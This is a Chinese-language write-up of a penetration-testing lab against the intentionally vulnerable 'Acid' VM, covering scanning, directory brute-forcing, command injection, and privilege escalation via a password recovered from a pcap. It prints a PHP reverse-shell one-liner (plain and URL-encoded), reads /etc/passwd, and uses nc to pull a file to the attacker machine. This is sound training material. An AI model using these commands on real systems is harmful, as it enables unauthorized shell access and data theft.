环境
主机:win10
攻击机:kali
IP:172.20.10.128
工具:Nmap、Dirbuster、Burpsuite、Wireshark(网络流量分析)
靶机信息
靶机:Acid
网络连接方式:nat
IP:未知
目标
获取root权限
查看flag
渗透流程
一、信息收集
发现主机
nmap -sP 172.20.10.0/24
得到靶机ip:172.20.10.129
端口扫描
nmap -p0-65535 -sV -O 172.20.10.129
靶机开放了33447端口,而这个端口跑的是http服务
直接打开
http://172.20.10.129:33447
指纹扫描
whatweb http://172.20.10.129:33447
可以知道 靶机的操作系统是ubuntu、网站服务器是Apache/2.4.10、关键字/Challenge
是个登录页面
目录扫描
使用dirbuster工具(kali中,dirbuster工具的字典位于/usr/share/dirbuster/wordlists目录下)
字典
directory-list-2.3-medium.txt
得到四个目录,再次爆破Challenge这个目录
爆破出这个目录下的文件
访问cake.php
发现刚刚一样的小套路,再次爆破Magic_Box 目录
得到
访问commadn.php
一个命令执行页面
二、漏洞挖掘
打开brupsuite 进行抓包
加上 | ls
可以发现这个页面存在命令注入,我们用它来获取shell
三、获取shell
1 . 制作php反弹shell
php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
url编码后
php%20-r%20'%24sock%3Dfsockopen(%22172.20.10.128%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
2 . nc监听
3 . 放入shell执行
4 . 获得一个shell
四、提权
1 . 查看用户
cat /etc/passwd
2 . 查找用户文件
find / -user acid 2>/dev/null
发现一个网络流量包文件
3 . 用nc传输到kali
kali
nc -lvnp 3333 > hint.pcapng
靶机
nc 172.20.10.128 3333 < /sbin/raw_vs_isi/hint.pcapng
4 . 使用Wireshark进行分析
Wireshark hint.pcapng
除tcp协议 其他都过滤掉
找到这条数据
得到密码
1337hax0r
在前面页面也有这个密码提示
5 . 提权到saman
su saman
提示
执行
python -c 'import pty;pty.spawn("/bin/bash")'
继续
su saman
输入密码
1337hax0r
成功提权到saman
6 . 提权到root
sudo -i
成功提权到root
7 . 查看flag
完成渗透
知识点
知识点一
php反弹shell
php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
知识点二
网站访问报404 是不存在该目录或文件,报403是禁止访问该目录或文件。
知识点三
查找每个用户文件
find / -user acid 2>/dev/null
知识点四
su and sudo and sudo -i 用法和区别
sudo 暂时切换到超级用户模式以执行超级用户权限。输入的是当前用户密码,但是有时间限制,一般为15分钟。
su 切换到某某用户模式,格式为 su 用户名,默认为root。密码为用户名密码。
sudo -i 为了频繁的执行某些只有超级用户才能执行的权限,输入的是当前密码,不用每次输入密码,没有时间限制。
知识点五
scp命令传输文件,需要开启ssh服务
scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/ #将目录下的文件 远程传输到10.10.10.140的/root/目录下
知识点六
kali安装ssh
apt-get install ssh # 安装ssh
service ssh start # 打开ssh服务
service ssh status # 查看状态
service ssh stop # 停止ssh服务
坑点
1 .
在php反弹shell进行url编码的时候,不能完全编码,要对个别字符进行保留,不然会瞬间蹦掉。
php%20-r%20'%24sock%3Dfsockopen(%22172.20.10.128%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'
2 .
在用nmap对靶机ip进行扫描,不使用下面参数根本扫描不出靶机信息
-p0-65535
3 .
在分析网络流量包的时候,发现有各式各样的协议包,照文档上看,除tcp协议外,全部过滤。然后一条条查看,在在下图上找到这个数据包,然后里面存在密码。放在实际情况上,又是一个大海捞针的靶机。
总结
这套靶机难易程度一般,难的地方还是去找到密码,拿到小权限的shell去找密码提权是巨坑的。看了文档,有不同的方式可以拿到命令注入界面,但是我是通过dirbuster把目录爆破出来的,所以免去了在images目录下找图片这一步,直接进行命令注入。学到了一个新的反弹shell,在网页执行sql语句、反弹shell等需要进行url编码,这点我老是记不住。靶机的流程都一致,不一致的就是获取webshell的方式不同,其余都大同小异。目前知道,命令注入拿shell、文件上传拿shell,mysql数据库写shell。还没有实践的有mysql写shell。